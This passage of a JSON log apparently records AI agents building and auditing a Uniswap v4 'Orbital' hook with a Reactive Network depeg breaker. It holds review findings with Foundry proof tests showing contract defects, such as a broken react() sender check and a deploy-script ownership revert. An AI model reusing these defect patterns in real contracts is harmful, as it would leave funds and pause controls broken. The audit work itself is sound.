Reactive Lasna and emits a `Callback` to Unichain Sepolia when the price leaves the band. `OrbitalDepegCallback.sol` verifies the callback proxy and RVM id, then calls `guardianPause()`. The guardian can only pause; `unpause` is owner-only. Withdrawals always work.\n- `src/OrbitalToken.sol` is the standard ORB launch token. `script/DeployOrbital.s.sol` mines the salt, deploys everything, wires the guardian and hands ownership over. Dependencies are vendored as plain files with no submodules.\n\n**Verification**\n\n- 62 tests across hook lifecycle, depeg isolation, tick crossing, reactive end-to-end and failure paths, math fuzz, token, and deploy script.\n- The pinned protected floor suites were run locally against the real creation code and passed 9 of 9. That run exposed a real issue: the constructor originally queried token decimals, which would revert on the verifier's bare chain. Decimals are now constructor arguments.\n- Hook runtime is 23,106 bytes, under the EIP-170 limit.\n\n**Documented in the README**\n\nDesign record in the Wizard JSON shape, the math, security checklist, risk score (High, audit required), deployment parameters for Reactive Lasna and Unichain Sepolia, order of operations, operational responsibilities, and open items. Two things worth flagging there: the Chainlink aggregator address and the Unichain Sepolia callback proxy are configuration values I could not verify on chain, and concentrated ticks remain leveraged like v3 ranges. Their exposure to a depegging coin is capped, which is the protection, but per-dollar loss on moderate moves can still exceed full range.\n\nNothing was committed. One leftover is `lib/solmate/.vscode/settings.json`, which the sandbox would not let me delete. It is harmless.","treeHash":"dea9f50b51ab47a284f7ee99005faad478733baa","usage":{"cachedInputTokens":8324500,"inputTokens":1314,"model":"claude-fable-5-1","outputTokens":194259,"runtime":"claude","turns":89,"wallClockMs":2600428}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"3c7630b22a73c1fb","findings":[{"citation":"resolved","description":"Second-round settlement of finding 2701c5233d0c. The author disputed only the disposition, not the observation: the integrate assignment can write launch.json alone, and no manifest-only change can express a non-zero owner or the three dynamic arrays (address[] basket, uint8[] decimals, uint256[] kNorms) that OrbitalHook's constructor (src/OrbitalHook.sol:177-227) requires. I re-verified on the revised tree: the constructor's first statement is still `if (_owner == address(0)) revert ZeroAddress();` (src/OrbitalHook.sol:186), and with a non-zero owner an empty basket reverts InvalidTokens (line 187-189). The manifest's own notes record the gap under 'BLOCKING GAP'. Everything else in the manifest is consistent with the code: permissions match getHookPermissions (beforeInitialize, beforeAddLiquidity, beforeSwap, beforeSwapReturnDelta = flags 0x2888), argument 0 is $poolManager, the token has no constructor arguments, and the pool section describes a pass-through ETH/ORB pool the hook does not constrain. The defect is a code/manifest incompatibility of the deliverable: the attested creation code with these arguments reverts, so the protected Hook floor reports 'hook deployment reverted' and nothing can be deployed. Resolution needs one of: (a) a hook implement task that revises src/OrbitalHook.sol so the constructor takes only manifest-expressible values (IPoolManager plus integers/addresses) with basket, decimals and kNorms set once post-construction by an owner-only lockable call and the owner derived from a policy value; or (b) deployer support for array arguments and an $owner placeholder. Until one lands the launch must be held at admission. Kept at medium as in round 1: no funds are at risk, but the launch is not deployable.","line":7,"path":"launch.json","reproduction":"test/scratch/Settle.t.sol ManifestSettle.test_zeroArgsRevert on the revised tree: CREATE2 of type(OrbitalHook).creationCode with abi.encode(poolManager, address(0), address(0), new address[](0), new uint8[](0), new uint256[](0), uint24(400)) (the closest valid encoding of the manifest's arguments) at a salt mined for flags 0x2888 returns address(0); `new OrbitalHook{salt}` with the same arguments reverts ZeroAddress(); with owner = address(1) it reverts InvalidTokens(). Expected for a deployable launch: a hook at a flag-matching address. Actual: constructor revert, exactly as the manifest's notes state. A control deployment with a 3-coin basket and kNorms 0.74e18/0.95e18/1.15e18 (test/utils/BasketHarness.sol deployBasket) succeeds, so only the manifest's arguments are at fault.","severity":"medium","snippet":"      \"0x0000000000000000000000000000000000000000\",","title":"launch.json constructorArgs still cannot instantiate OrbitalHook: a zero owner reverts ZeroAddress and the three array arguments are written as the scalar \"0\" (unchanged from round 1; author concedes,"}],"hash":"e2fa262703b5b12aff0070eea6723c0011b07f7875a80bbac55ca9d7d86cfe0e","nodeId":"0802ac7c-a09f-414b-9d42-6dec031c8311","outcome":"completed","summary":"Review complete. The findings file is written and the tree is otherwise untouched.\n\n**Outcome:** twelve of the thirteen round-one findings are settled as fixed or dropped. One remains outstanding, and it is the one the author conceded rather than fixed.\n\n**Settled as fixed, each re-verified on the revised code:**\n- Return trade through the peg (critical): the attached proof now passes. The new stepper unpins on the falling leg and re-pins on the rising leg, and a 1,500-run fuzz keeps the torus invariant, the boundary bound and tick agreement.\n- Dust-pool deposit skim (high): the attached proof passes. Deposits are projected onto the sphere, the minimum radius is now one full unit and enforced as a residual floor, and reserves clear on full exit.\n- Reactive sender check (high): the attached proof passes. react() requires only the ReactVM copy and checks no sender.\n- Deposit reentrancy, tick mask desync, pinned-only deadlock, frozen-coin stranding, broadcast script ownership, last-withdrawal panic, breaker latch, and feed rotation: each reproduced with my own sequences or the repository's new tests, all passing. For the desync case I also ran a control that overshoots the pin by 100 A. The exact-landing path and the control now pay within 27 A of each other on a 250,000 B trade.\n\n**Dropped:** the radius-based fee split. It is a documented design choice, and the author's reasoning that a pinned tick keeps trading along its circle is sound.\n\n**Outstanding (one finding, medium):** launch.json's constructor arguments still cannot instantiate OrbitalHook. A zero owner reverts and the three array arguments are written as the scalar \"0\". I re-confirmed with a CREATE2 attempt that returns the zero address. The author agrees and can only write launch.json in this node. Resolution needs either a hook implement task that moves basket, decimals and tick planes to a post-construction owner-only setter, or deployer support for array arguments and an owner placeholder. The launch should be held at admission until one lands.\n\n**Checks run:** 137 repository tests pass, the three attached proofs pass under test/scratch, and my own six scratch reproductions pass. Scratch files were removed afterwards. Coverage answers all 38 entry points plus three invariant rows.","treeHash":null,"usage":{"cachedInputTokens":2959494,"inputTokens":706,"model":"claude-fable-5-1","outputTokens":43494,"runtime":"claude","turns":23,"wallClockMs":578346}},{"artifacts":[],"attempt":2,"bundleHash":null,"device":"3b260b68e9ad6a37","findings":[{"citation":"resolved","description":"react() only proceeds when msg.sender is the system contract 0x0000000000000000000000000000000000fffFfF. Inside a ReactVM that address has no code (the contract itself relies on that to set isReactVm = true) and it is not the sender of react() transactions. Verified against the live Reactive Lasna network (chain 5318007, RPC https://lasna-rpc.rnk.dev/): rnk_getRnkAddressMapping(0x6ba34385d9018cfa3341db62b68b5a55839fe71f) returns rvmId 0xa7d9aa89cbcd216900a04cdc13eb5789d643176a, and every react(LogRecord) transaction in that RVM (selector 0x0d152c2c, e.g. rnk_getTransactionByNumber(0xa7d9..., 0xdbd4) hash 0xcd26b9578bf6fde2d3305dce2887d62ff5b13aab13e6b41bbe7f8eced200f25e, to 0xe74c8c9823404a5039fd682c8b9335b096f514fd) has from == 0xa7d9aa89... == the RVM id, i.e. the EOA that deployed the reactive contract, with the reactive contract as the direct `to`. So msg.sender inside react() is the RVM id (== owner here, since owner = msg.sender of the constructor). reactive-lib's AbstractReactive accordingly guards react() with vmOnly only and has no system-contract sender check. On this code every delivered AnswerUpdated log reverts with NotSystemContract(), no Callback is ever emitted, OrbitalDepegCallback.depeg is never invoked and OrbitalHook.guardianPause() never runs: the keeper-free breaker, the core deliverable of this build, is permanently dead while the operator keeps paying REACT for the failed reactive transactions. The repository's own test (test/Reactive.t.sol:77, `vm.prank(SERVICE);`) pranks the system-contract address and therefore cannot detect this. Fix: in react(), require isReactVm and accept the ReactVM's actual sender (msg.sender == owner, the RVM id) instead of SERVICE; keep the SERVICE check only for pay() on the Reactive Network copy. Update test/Reactive.t.sol to prank the deployer EOA. Note also that the RVM id injected into the callback payload is this same deployer address, so OrbitalDepegCallback.rvmId must be set to it (the README already says so).","line":90,"path":"src/reactive/OrbitalDepegReactive.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {Vm} from \"forge-std/Vm.sol\";\nimport {IReactive} from \"src/reactive/IReactive.sol\";\nimport {OrbitalDepegReactive} from \"src/reactive/OrbitalDepegReactive.sol\";\n\n/// @notice Inside the ReactVM, `react()` transactions are sent *from the RVM id* — the EOA that\n/// deployed the reactive contract (verified against Reactive Lasna: `rnk_getRnkAddressMapping` and\n/// the `from` field of live `react(LogRecord)` transactions, selector 0x0d152c2c). The system\n/// contract 0x…fffFfF has no code in the ReactVM and is never the caller. `OrbitalDepegReactive.react`\n/// requires `msg.sender == SERVICE`, so every delivered log reverts with `NotSystemContract` and the\n/// circuit breaker can never emit a `Callback`. This test models the real caller and fails on the\n/// current code; it passes once `react` accepts the ReactVM's actual sender.\ncontract ReactSenderTest is Test {\n    uint256 constant ORIGIN_CHAIN = 11155111;\n    uint256 constant DEST_CHAIN = 1301;\n    address feed = makeAddr(\"chainlink-aggregator\");\n    address callbackTarget = makeAddr(\"orbital-depeg-callback\");\n    address rvmId = makeAddr(\"reactive-deployer\"); // the EOA that deploys the reactive contract\n\n    OrbitalDepegReactive reactive;\n\n    function setUp() public {\n        // Deployed from the RVM id EOA, exactly like `forge create` from the breaker operator's key.\n        vm.prank(rvmId);\n        reactive = new OrbitalDepegReactive(ORIGIN_CHAIN, feed, DEST_CHAIN, callbackTarget, 500_000, 1e8, 200);\n        assertTrue(reactive.isReactVm(), \"no system contract code here, as in the ReactVM\");\n        assertEq(reactive.owner(), rvmId);\n    }\n\n    function logRecord(int256 price, uint256 roundId) internal view returns (IReactive.LogRecord memory) {\n        return IReactive.LogRecord({\n            chain_id: ORIGIN_CHAIN,\n            _contract: feed,\n            topic_0: uint256(keccak256(\"AnswerUpdated(int256,uint256,uint256)\")),\n            topic_1: uint256(price),\n            topic_2: roundId,\n            topic_3: 0,\n            data: abi.encode(block.timestamp),\n            block_number: 1,\n            op_code: 0,\n            block_hash: 0,\n            tx_hash: 0,\n            log_index: 0\n        });\n    }\n\n    /// The ReactVM delivers a depeg log: the transaction's `from` is the RVM id, so `msg.sender`\n    /// inside `react` is the RVM id. The breaker must emit `Callback` for an out-of-band price.\n    function test_reactFromRvmIdEmitsCallbackOnDepeg() public {\n        IReactive.LogRecord memory rec = logRecord(0.97e8, 42);\n        vm.recordLogs();\n        vm.prank(rvmId, rvmId); // msg.sender and tx.origin are the RVM id, as in a live ReactVM tx\n        reactive.react(rec);\n        Vm.Log[] memory logs = vm.getRecordedLogs();\n        bytes32 sig = keccak256(\"Callback(uint256,address,uint64,bytes)\");\n        bool emitted;\n        for (uint256 i = 0; i < logs.length; i++) {\n            if (logs[i].topics[0] == sig) {\n                emitted = true;\n                assertEq(uint256(logs[i].topics[1]), DEST_CHAIN, \"destination chain\");\n                assertEq(address(uint160(uint256(logs[i].topics[2]))), callbackTarget, \"callback target\");\n                bytes memory payload = abi.decode(logs[i].data, (bytes));\n                assertEq(bytes4(payload), bytes4(keccak256(\"depeg(address,address,int256,uint256)\")));\n            }\n        }\n        assertTrue(emitted, \"depeg must request a cross-chain callback when the ReactVM delivers the log\");\n    }\n}","reproduction":"State: OrbitalDepegReactive deployed on Reactive Lasna from EOA D (= RVM id) with a Chainlink aggregator as `feed`; isReactVm == true in the RVM copy. Input: the ReactVM delivers an out-of-band log, i.e. a transaction from D to the reactive contract calling react(LogRecord{chain_id: originChainId, _contract: feed, topic_0: keccak256('AnswerUpdated(int256,uint256,uint256)'), topic_1: uint256(int256(0.97e8)), topic_2: 42, ...}). Expected: DepegDetected and Callback(1301, callbackContract, gasLimit, depeg(...)) emitted, pool paused on Unichain Sepolia. Actual: react() reverts NotSystemContract() because msg.sender (D) != 0x...fffFfF; nothing is emitted, the hook is never paused. Foundry: deploy with vm.prank(D), then vm.prank(D, D); reactive.react(rec) -> reverts NotSystemContract(). The attached test fails on the current code with exactly that error and passes once react() accepts the RVM id as caller.","severity":"high","snippet":"        if (msg.sender != SERVICE) revert NotSystemContract();","title":"OrbitalDepegReactive.react() rejects the ReactVM's real caller (the RVM id), so the depeg circuit breaker can never fire"},{"citation":"resolved","description":"react() emits a Callback for every AnswerUpdated whose price is outside the band, with no memory of having already tripped and no re-arm condition. The design says resuming is the owner's reviewed decision, but the owner's unpause() is undone by the very next feed round while the price is still outside the band (Chainlink feeds publish on every heartbeat, typically hourly, and on each deviation threshold), so during a sustained but orderly depeg - exactly the case the tick isolation is built to trade through - trading can only be resumed by disabling the breaker (hook.setGuardian(0) or callback.setRvmId(0)), which is not documented and defeats the breaker for any second coin. Each redundant callback also costs a destination transaction that the callback proxy charges to OrbitalDepegCallback via pay(); per Reactive docs an under-funded callback contract is blocklisted, so a long depeg can silently exhaust the contract and disable the breaker for a later, unrelated depeg. Fix: in react(), track a `tripped` flag in the RVM copy and only emit when the price transitions from in-band to out-of-band (re-arm when a price returns in-band), and/or have OrbitalDepegCallback skip the hook call when hook.paused() is already true; document the operator procedure for resuming during a sustained depeg.","line":104,"path":"src/reactive/OrbitalDepegReactive.sol","reproduction":"Sequence (reproduced with the repo's mock proxy in Foundry): 1) react(AnswerUpdated price 0.97e8, round 42) -> Callback -> proxy.deliver -> depeg -> hook.paused() == true. 2) owner calls hook.unpause() -> paused == false. 3) next heartbeat round: react(price 0.97e8, round 43) -> Callback emitted again -> proxy.deliver -> hook.paused() == true again, with no owner action. Expected per the design: the pause is a one-shot fail-safe that a human reviews and resumes; actual: the pool cannot stay unpaused while the feed reads 0.97, and each round costs the callback contract ETH.","severity":"low","snippet":"        emit Callback(destinationChainId, callbackContract, callbackGasLimit, payload);","title":"No hysteresis/deduplication: after the owner's unpause the next still-out-of-band feed update re-pauses the pool, and every update during a sustained depeg bills the callback contract"},{"citation":"resolved","description":"AnswerUpdated is emitted by the aggregator implementation behind the Chainlink proxy, so (as the README notes) `feed` must be the aggregator, not the proxy. Chainlink rotates aggregator implementations (the proxy's aggregator() changes, the old aggregator stops emitting). `feed` is immutable and subscribe()/unsubscribe() can only re-create the same subscription, so after a rotation the reactive contract never receives another log, react() is never called, and the circuit breaker is silently dead with no on-chain signal (no PriceInBand/DepegDetected events, no revert). Recovery requires redeploying OrbitalDepegReactive; because the RVM id is the deployer, it must be redeployed from the same EOA or OrbitalDepegCallback.setRvmId must be updated. Fix: make the feed address updatable by the owner on the Reactive Network copy (unsubscribe old, subscribe new) and mirror it to the RVM copy via a callback, or subscribe by topic with _contract = 0 and filter on the proxy's current aggregator() in react(); add a liveness check (last update timestamp) to the operator runbook.","line":27,"path":"src/reactive/OrbitalDepegReactive.sol","reproduction":"State: OrbitalDepegReactive deployed with feed = A1 (current USDC/USD aggregator). Chainlink later deploys A2 and calls proxy.proposeAggregator/confirmAggregator so proxy.aggregator() == A2 != feed. Input: USDC prints 0.90e8 via A2's AnswerUpdated. Expected: breaker pauses the pool. Actual: the subscription (originChainId, A1, AnswerUpdated topic) matches nothing; react() is never invoked; the hook stays unpaused. Observable check: proxy.aggregator() != reactive.feed() while reactive.subscribe() cannot change feed (immutable, line 27, set once at line 63).","severity":"low","snippet":"    address public immutable feed;","title":"Breaker subscribes to an immutable aggregator address; a Chainlink aggregator rotation silently disables it with no way to re-point"}],"hash":"e82e59f23bc7a002e5893990c001368a3e5b913f29c19571a646a9b04afdd029","nodeId":"7829f002-defe-443d-9861-7b97a0a711d5","outcome":"completed","summary":"No tracked files were changed. The review is complete and `.imd-findings.json` holds the results.\n\n**Outcome**\n\nThe hook's control flow holds up well in my area (Execution Trace, Periphery, First Principles). The Reactive side of the circuit breaker does not: as written, it can never pause the pool.\n\n**Findings written to `.imd-findings.json`** (three, one with a proof test):\n\n1. **High.** `OrbitalDepegReactive.react()` requires the caller to be the system contract at `0x…fffFfF`. In a real ReactVM that address has no code and is not the sender. I verified on the live Reactive Lasna network that every `react(LogRecord)` transaction is sent from the RVM id, which is the EOA that deployed the reactive contract, directly to the reactive contract. So every delivered Chainlink update reverts with `NotSystemContract`, no `Callback` is ever emitted, and `guardianPause()` never runs. The repository's own test pranks the system-contract address and so cannot see this. The proof test deploys from a deployer EOA, calls `react` from it, and fails on current code with exactly that error.\n2. **Low.** No hysteresis: after the owner unpauses, the next still-out-of-band feed round re-pauses the pool, and each redundant callback bills the callback contract. Reproduced with the repo's mock proxy.\n3. **Low.** The subscribed aggregator address is immutable, so a Chainlink aggregator rotation silently kills the breaker with no way to re-point it.\n\n**What I checked and found sound** (recorded as coverage rows for all 35 entry points plus two invariants):\n\n- Swap delta signs for exact-in and exact-out through v4's `Hooks.beforeSwap`/`afterSwap`: the hook's delta nets to zero and the swapper owes and receives the right amounts.\n- Tick pinning and unpinning: 1,200 fuzzed swaps plus probing within a few wei of the forward, reverse, and exact-out crossing thresholds never left a tick's mask bit inconsistent with its position. Crossings land exactly on the plane.\n- Claim backing: in pinned states, boundary-level deposits, and interior-first exits, the hook's ERC-6909 claims always covered real reserves plus unpaid fees, and everyone could withdraw with only wei dust left. Withdrawals worked while paused.\n- Static-analysis leads (divide-before-multiply, reentrancy, unused returns, unsafe casts) traced; none produce a reachable defect.\n\n**Not reached:** the depth of the solver math itself (`solveOut`, `solveIn`, `planeStep`) beyond behavioral fuzzing, which belongs to the math specialist.","treeHash":null,"usage":{"cachedInputTokens":4585543,"inputTokens":802,"model":"claude-fable-5-1","outputTokens":92584,"runtime":"claude","turns":90,"wallClockMs":1328432}},{"artifacts":[],"attempt":2,"bundleHash":null,"device":"03f15d1296244279","findings":[{"citation":"resolved","description":"deploy() passes address(this) (the script contract) as the hook's owner at lines 68/72, then calls d.hook.setGuardian(...) and d.hook.transferOwnership(cfg.owner) at lines 76-77. run() wraps deploy() in vm.startBroadcast(), under which every external call at the script's depth is sent from the broadcaster EOA, not from the script contract (the script contract has no on-chain existence or key). The hook's onlyOwner modifier compares msg.sender (broadcaster) with owner (script contract address) and reverts NotOwner. Deploy.t.sol only exercises deploy() without broadcast, where the test contract is both address(this) and msg.sender, so the suite never sees this. Consequence: the documented 'Order of operations' step 1 (README) cannot complete. In the default run forge's pre-flight simulation reverts and nothing is sent, so the breaker cannot be deployed through this script at all. If the run is forced through (--skip-simulation / --resume), the token and the hook are deployed but the hook is left with owner = a dead address and guardian = address(0): pause/unpause/setFee/setGuardian/transferOwnership are unreachable forever and the circuit breaker can never be wired. The IMD factory path that passes owner and guardian as constructor args is unaffected; this only breaks the Reactive wiring script the README tells the operator to use. Fix: predict the CREATE2 hook address first, deploy OrbitalDepegCallback against the predicted address, then deploy the hook with owner = cfg.owner and guardian = address(callback) directly in the constructor (no post-deploy owner calls); or at minimum use msg.sender rather than address(this) as the interim owner.","line":76,"path":"script/DeployOrbital.s.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {PoolManager} from \"v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"v4-core/src/interfaces/IPoolManager.sol\";\nimport {DeployOrbital} from \"script/DeployOrbital.s.sol\";\nimport {OrbitalHook} from \"src/OrbitalHook.sol\";\n\ncontract MintableToken {\n    uint8 public constant decimals = 18;\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n\n    function approve(address s, uint256 a) external returns (bool) {\n        allowance[msg.sender][s] = a;\n        return true;\n    }\n\n    function transfer(address to, uint256 a) external returns (bool) {\n        balanceOf[msg.sender] -= a;\n        balanceOf[to] += a;\n        return true;\n    }\n\n    function transferFrom(address f, address to, uint256 a) external returns (bool) {\n        allowance[f][msg.sender] -= a;\n        balanceOf[f] -= a;\n        balanceOf[to] += a;\n        return true;\n    }\n}\n\n/// @notice Mirrors `DeployOrbital.run()`: the script contract itself starts a broadcast and then\n/// calls `deploy(cfg)` internally (same call depth), exactly as `run` does. Under broadcast the\n/// external calls made at that depth are sent from the broadcaster, while `address(this)` -- the\n/// hook's first owner -- is the script contract. `setGuardian` therefore reverts with `NotOwner`.\ncontract DeployBroadcastTest is Test, DeployOrbital {\n    function test_deployUnderBroadcastRevertsNotOwner() public {\n        PoolManager manager = new PoolManager(address(this));\n\n        address[] memory basket = new address[](2);\n        basket[0] = address(new MintableToken());\n        basket[1] = address(new MintableToken());\n        uint8[] memory decs = new uint8[](2);\n        decs[0] = 18;\n        decs[1] = 18;\n        uint256[] memory ks = new uint256[](2);\n        ks[0] = 0.5e18;\n        ks[1] = 0.7e18;\n\n        address broadcaster = makeAddr(\"broadcaster\");\n        vm.deal(broadcaster, 100 ether);\n\n        Config memory cfg = Config({\n            poolManager: IPoolManager(address(manager)),\n            owner: makeAddr(\"multisig\"),\n            basket: basket,\n            decimals: decs,\n            kNorms: ks,\n            feePpm: 300,\n            callbackProxy: makeAddr(\"reactive-callback-proxy\"),\n            rvmId: makeAddr(\"reactive-deployer\"),\n            create2Deployer: DEFAULT_CREATE2_DEPLOYER // what `run()` uses under broadcast\n        });\n\n        vm.startBroadcast(broadcaster);\n        Deployed memory d = deploy(cfg);\n        vm.stopBroadcast();\n\n        assertEq(d.hook.owner(), cfg.owner, \"ownership handed to the multisig\");\n        assertEq(d.hook.guardian(), address(d.callback), \"callback wired as guardian\");\n    }\n}","reproduction":"Mirror run(): from inside the script contract call vm.startBroadcast(broadcaster); deploy(cfg) with cfg.create2Deployer = DEFAULT_CREATE2_DEPLOYER (what run() sets). Trace: new OrbitalToken (ok) -> Create2Deployer::create2 hook (ok, owner = script contract) -> new OrbitalDepegCallback (ok) -> OrbitalHook::setGuardian(callback) reverts NotOwner() because msg.sender is the broadcaster. Expected: d.hook.owner() == cfg.owner and d.hook.guardian() == address(d.callback). Actual: revert NotOwner(); see test/scratch/DeployBroadcast.t.sol (fails on this tree with [FAIL: NotOwner()]).","severity":"medium","snippet":"        d.hook.setGuardian(address(d.callback));","title":"DeployOrbital makes the script contract the hook's first owner, so under broadcast the owner-only guardian wiring reverts with NotOwner"},{"citation":"resolved","description":"react() has no latch: every log whose price is out of band emits a Callback, regardless of whether one was already sent. Chainlink aggregators emit AnswerUpdated on every deviation/heartbeat round, and a real depeg (e.g. USDC, March 2023) lasts days with many rounds outside a 2% band. Each Callback is delivered to OrbitalDepegCallback.depeg(), which calls guardianPause() (idempotent, so the extra calls do nothing) and is then charged by the callback proxy through pay() (OrbitalDepegCallback.sol:71-75), with the reactive copy charged in REACT as well. Two consequences. (1) Economics: the callback contract's ETH and the Lasna contract's REACT are spent on N-1 useless deliveries per depeg episode; once drained, Reactive stops delivering, so the breaker is unfunded exactly when the next coin moves. (2) Access asymmetry with the owner-only unpause(): the design says a human reviews and resumes, but while the feed is still out of band every subsequent round re-pauses the pool straight after the owner unpauses, and a delivery delayed by an unfunded callback contract re-pauses on a stale round after the owner has already judged the situation safe. depeg() carries roundId but never checks it against the last one acted on. Suggested fix: on the reactive side keep a 'tripped' flag that is set on the first out-of-band round and only re-armed when a round comes back in band (or by the owner), so one Callback is sent per excursion; on the callback side record the last roundId acted on and ignore older rounds. This preserves the fail-safe (first out-of-band round still pauses immediately).","line":104,"path":"src/reactive/OrbitalDepegReactive.sol","reproduction":"Deploy OrbitalDepegReactive(origin, feed, 1301, callback, 500000, 1e8, 200) and OrbitalDepegCallback(proxy, hook, rvmId, owner) with 0.05 ETH; prank SERVICE and call react() five times with topic_1 = 0.9e8 and roundId 1..5. Expected: one Callback for the excursion (the pool is already paused after round 1). Actual: five Callback events; delivering each through a proxy that charges 0.01 ETH per delivery (as the real proxy does via pay()) calls guardianPause() five times and leaves the callback contract at 0 wei (test/scratch/BreakerRefire.t.sol logs: callbacks emitted = 5, guardianPause calls = 5, balance left = 0). Then: owner calls hook.unpause(); the next out-of-band round (or a late-delivered earlier one) calls depeg() again and the pool is paused again with no new information.","severity":"low","snippet":"        emit Callback(destinationChainId, callbackContract, callbackGasLimit, payload);","title":"The breaker emits a new paid callback on every out-of-band AnswerUpdated, draining the callback contract's ETH and re-pausing after the owner's unpause while the depeg lasts"}],"hash":"f5a8b54f108903b0b674b297b7ec8a175ddb1a437a557e11f55967834eea47b7","nodeId":"af1b92d5-400c-4f67-93a4-6702d10a34f2","outcome":"completed","summary":"Review complete. The findings are in `.imd-findings.json` at the repository root, with a coverage row for all 35 entry points plus three invariant rows. No tracked file was changed. Only the findings file and the scratch tests under `test/scratch/` were written.\n\n**What I audited**\n\nI mapped the full permission model across the hook, the destination callback and the Lasna reactive contract, then checked every writer against the Access Control, Asymmetry and Trust Gap guides: inconsistent guards, deployment-time role handout, confused deputies, deposit/withdraw and exact-in/exact-out mirror symmetry, view/write pairs, admin setters touching in-flight value, and the cross-chain pause path. The existing 62 tests pass.\n\n**Findings**\n\n1. **Medium. The deploy script cannot wire the breaker under broadcast.** `deploy()` makes the script contract's own address the hook's first owner, then calls owner-only `setGuardian` and `transferOwnership`. Under `vm.startBroadcast` those calls are sent from the broadcaster, so they revert with `NotOwner`. The existing Deploy test never broadcasts, so it never sees this. In the default run the simulation aborts and nothing deploys. If forced through, the hook ends up owned by a dead address with no guardian, and admin is unreachable forever. The proof test fails on this tree with `NotOwner()` and passes once the owner and guardian are set correctly.\n\n2. **Low. The breaker re-fires a paid callback on every out-of-band feed round.** `react()` has no latch and `depeg()` never checks the round id. During a sustained depeg each Chainlink update drains the callback contract's ETH and the Lasna contract's REACT on deliveries that only re-call an idempotent pause. It also re-pauses the pool right after the owner's review and `unpause()`, including on late-delivered stale rounds. Reproduced with five rounds leaving the callback contract at zero balance.\n\n**What holds**\n\nThe hook's access control is clean: every v4 callback is PoolManager-only, `unlockCallback` is only reachable through the hook's own `unlock`, the guardian path can only pause, resume is owner-only, and swap deltas net to zero on both branches. I traced that the hook's ERC-6909 claims always cover real reserves plus unpaid fee entitlements, so no LP can take another's principal through deposit, withdraw or fee collection, paused or not.\n\n**Not verified**\n\nThat `react()` is called with the system contract as sender inside the ReactVM, and the Unichain Sepolia proxy address, are README assumptions I could not check offline. Both are recorded as notes in the coverage record, not as findings.","treeHash":null,"usage":{"cachedInputTokens":2071125,"inputTokens":418,"model":"claude-fable-5-1","outputTokens":56910,"runtime":"claude","turns":41,"wallClockMs":760565}},{"artifacts":[],"attempt":1,"bundleHash":"e9a5a69093dbe6308d1e16780fd1a4bb2bd7596a3c2e15cfa6624156be26bd29","device":"03f15d1296244279","findings":[],"hash":"ffc7faa3c2183ef8ff8b4b5f3b7366fd6872d704f58faaad9a86baf01a64f89b","nodeId":"7000abcf-1b3e-42e8-939f-b8e2c1045dc3","outcome":"completed","summary":"The response file is excluded by the harness's own `.git/info/exclude`, which is expected: the network reads it from the working tree. Nothing else is outstanding. Recap follows.\n\n**Outcome:** the finding reproduces and cannot be fixed from this assignment. I answered it as `disputed` on disposition only, with the full reproduction, and tightened the manifest so it records the verified gap and the remediation path.\n\n**Reproduction.** A scratch suite in `test/scratch/Settle.t.sol` confirmed all three legs the reviewer described:\n- CREATE2 of the hook creation code with the manifest's arguments at a salt mined for flags 0x2888 returns the zero address, and the direct deploy reverts `ZeroAddress`.\n- A non-zero owner with empty basket, decimals and kNorms arrays reverts `InvalidTokens`.\n- A 3-coin control basket deploys at a flag-matching address, so only the arguments are at fault.\n\n**Why it is not fixable here.** The schema's constructor arguments are scalar strings, so the three dynamic arrays have no encoding, and no policy owner address is available to write. The cause is the constructor signature in `src/OrbitalHook.sol`, which this assignment may not touch. The reviewer's own text names the same two remedies: a hook implement task that moves basket configuration to an owner-only lockable call, or deployer support for arrays and an owner placeholder. The launch should stay held at admission until one lands.\n\n**What changed in launch.json** (the only file modified):\n- The blocking-gap paragraph now cites the finding, records this round's reproduction, and states both remediation paths so the next task has a spec.\n- The stale test count of 62 was corrected to the actual 85.\n- Constructor arguments, permissions, token and pool sections are unchanged. Permissions still match `getHookPermissions`.\n\n**Verification.**\n\n| Check | Result |\n| --- | --- |\n| Schema validation (draft 2020-12, with notes cap) | 0 errors, notes 3991 chars |\n| First field | `\"kind\": \"univ4_hook\"` |\n| forge build | clean |\n| forge test | 88 passed, 0 failed (85 repo + 3 scratch) |\n\nThe answer to the finding is in `.imd-responses.json` at the repo root. Nothing was committed, since no commit was requested.","treeHash":"ea7384525a6e78b1db84d681346c37acb914a72e","usage":{"cachedInputTokens":1225600,"inputTokens":450,"model":"claude-fable-5-1","outputTokens":26197,"runtime":"claude","turns":25,"wallClockMs":528888}}],"verification":[{"checks":[{"durationMs":6301,"exitCode":0,"name":"build","output":"Compiling 94 files with Solc 0.8.26\nSolc 0.8.26 finished in 5.93s\nCompiler run successful!\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/libraries/OrbitalMath.sol:227:28\n    │\n227 │         if (b < 0) return (false, 0, 0);\n    │                            ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/libraries/OrbitalMath.sol:233:69\n    │\n233 │             if (-disc > sumAB * sumAB / int256(WAD) + 1e20) return (false, 0, 0);\n    │                                                                     ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/libraries/OrbitalMath.sol:239:36\n    │\n239 │         if (chosen < tMin) return (false, 0, 0);\n    │                                    ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/libraries/OrbitalMath.sol:240:17\n    │\n240 │         return (true, uint256(chosen), uint256(chosen - cShift));\n    │                 ━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/reactive/OrbitalDepegReactive.sol:107:39\n    │\n107 │         int256 tolerance = pegPrice * int256(bandBps) / 10_000;\n    │                                       ━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    